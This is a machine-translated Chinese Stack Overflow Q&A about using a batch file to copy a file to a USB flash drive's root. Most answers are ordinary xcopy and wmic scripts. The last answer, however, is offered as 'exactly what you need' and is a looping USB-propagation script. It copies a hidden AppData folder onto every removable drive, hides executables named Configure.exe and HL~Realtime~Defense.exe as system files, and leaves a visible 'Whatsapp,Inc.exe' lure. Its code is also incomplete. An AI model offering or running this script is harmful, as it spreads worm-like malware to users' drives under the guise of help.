使用批处理文件将文件复制到USB闪存驱动器根目录

时间:2013-05-29 10:19:15

标签: batch-file copy cmd root xcopy

我想创建一个批处理文件,将文件从任意目录复制到.bat文件所在的根文件夹中,就像USB闪存盘一样。

我的命令不完整:

    xcopy /s "%userprofile%\Desktop\test.txt" "?"

我可以用“?”代替什么? ??? 谢谢你们

5 个答案:

答案 0 :(得分:1)

这将完全按照您的要求完成所有连接的USB驱动器。

@echo off

for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (

if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
        )
        )

答案 1 :(得分:0)

 xcopy /s "%userprofile%\Desktop\test.txt" "\"

答案 2 :(得分:0)

您应该将其替换为USB驱动器的驱动器号后跟:\ 因此,真正的问题是如何确定系统中的哪些驱动器是USB闪存驱动器,我想?这是代码:

@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%

for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del  %OUTTEXTFILE%
del  %INTEXTFILE%

但请注意,它肯定只适用于1个可移动磁盘。如果插入了这种类型的两个设备,它将失败。

答案 3 :(得分:0)

您需要做的是使用USB目录的相对路径。代码如下所示:

@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause

这应该让您进入一个提示,您要在其中从/名称中复制文件夹。它将文件命名为与原始文件相同并保留原始格式(.txt等)。 让我知道,如果这不适合你,而不是downvoting,我会尽快为你解决另一个解决方案。 祝你好运!

答案 4 :(得分:0)

@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
  for %%c in (%%b) do (
     for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
        if %%d equ Removable (
          echo %%c is Removable
            cd "%USERPROFILE%\Appdata\Local\SystemSettings"
              xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
                ATTRIB +H -R +S %%cConfigure.exe
                   ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
                      ATTRIB -H -R -s %%cWhatsapp,Inc.exe

timeout /nobreak /t 99
goto loop

正是您所需要的